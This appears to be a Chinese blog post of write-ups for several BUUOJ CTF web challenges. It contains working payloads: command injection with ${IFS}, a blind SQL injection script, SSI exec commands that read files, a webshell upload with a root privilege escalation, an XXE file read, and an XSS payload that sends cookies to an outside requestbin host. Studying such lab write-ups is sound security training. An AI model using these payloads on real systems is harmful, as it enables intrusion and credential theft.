[WUSTCTF2020]朴实无华
扫描器扫到robots.txt,观察一下,就能找到假的flag
然后继续观察,可以发现Header有一些区别
打开后源码分析
编码有点问题,调整一下可以看了
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
第一关:PHP溢出
过大的数字可能会让interval爆掉
Payload
num=1e20
第二关:MD5弱比较
注意比较是弱比较,我们可以构造数字为0e开头,然后让其MD5后值也是0e。
Payload
md5=0e215962017&
第三关:替换
cat会被替换,空格不能有,我们用tac代替;空格使用${IFS}代替;最后超长的flag名字我们可以用正则匹配掉。所以即使这里限制了长度,应该也行。(虽然没有)
Payload
get_flag=tac${IFS}fll*
[极客大挑战 2019]FinalSQL
直接布尔盲注
可惜我的脚本没有二分而且没法判断大小写,巨慢无比,所以还是以后补个二分的版本吧
先用大佬的脚本做一下
最后版本:
import requests
import string
import time
flg = string.digits + 'abcdef' + 'lg{}-'
url = "http://feeebe7a-6004-4265-a0fa-ee518c8c7d83.node3.buuoj.cn/search.php"
for i in range(1,50):
for j in flg:
d ="?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)where(id=9)),'"+str(i)+"',1))="+str(ord(j))+")^1"
r = requests.get(url+d)
time.sleep(0.1)
if 'Click' in r.text:
print(j)
break
[网鼎杯 2020 朱雀组]Nmap
和这篇文章中的[BUUCTF 2018]Online Tool是一样的。不过需要短标签+phtml绕过php的过滤,其他部分一样。
[MRCTF2020]PYWebsite
前端校验,直接访问flag.php
根据提示,加个X-Forwarded-For请求头拿到flag
[CISCN2019 华北赛区 Day1 Web2]ikun
和这篇文章是一样的。
[CISCN2019 华北赛区 Day1 Web1]Dropbox
phar反序列化
下载的时候可以任意文件读取,读取所有文件之后找到利用点
具体来说,是FileList类的__call魔术方法触发了close(),然后删除会触发User类的__destruct方法,从而只要User类的db变量是FileList类型的,就能触发效果。这个效果可以利用phar反序列化实现
[GKCTF2020]老八小超市儿
ShopXO社区倒闭了,暂时没找到主题的源码,先放一会
社区又复活了,我们现在开始做一下这题。
admin.php,默认用户名admin默认密码shopxo进入后台
之后按照现成的方法来打
简单写下:
第一步:应用中心-应用商店-主题,下载默认主题。
第二步:默认主题/default/static,放在目录下。为了防止社区再次倒闭,我把官方链接放下(提取码jb48)。然后网站管理-主题管理-主题安装,安装一下。
第三步:获得shell,地址是http://xxx.com/public/static/index/default/你的木马.php
AntSword连接一下,发现在/root
没权限,所以我们看看根目录/auto.sh,发现一个py文件有root权限,我们来覆盖一波
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f1 = open("/root/flag","r").read()
f.write(gk1)
f.write(f1)
f.close()
[NCTF2019]True XML cookbook
基于XML外部实体漏洞的内网渗透,不过这个算是最基础的那种
读取/etc/hosts
然后我们来对最后一段扫一下,就能拿到flag
[BJDCTF2020]EasySearch
SSI注入[https://blog.csdn.net/qq_40657585/article/details/84260844]
先找到index.php.swp这个文件,然后看源码
跑出合适MD5的值,之后利用SSI注入执行拿到flag
Payload:
Password:2020666
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
[BJDCTF 2nd]xss之光
扫描找到.git目录,运行脚本找到index.php
然后看WP得知这题是原生类反序列化
Payload
<?php
$a = serialize(new Exception("<script>window.location.href='http://requestbin.net/r/13p641q1?'+document.cookie</script>"));
echo urlencode($a);
?>
Comments NOTHING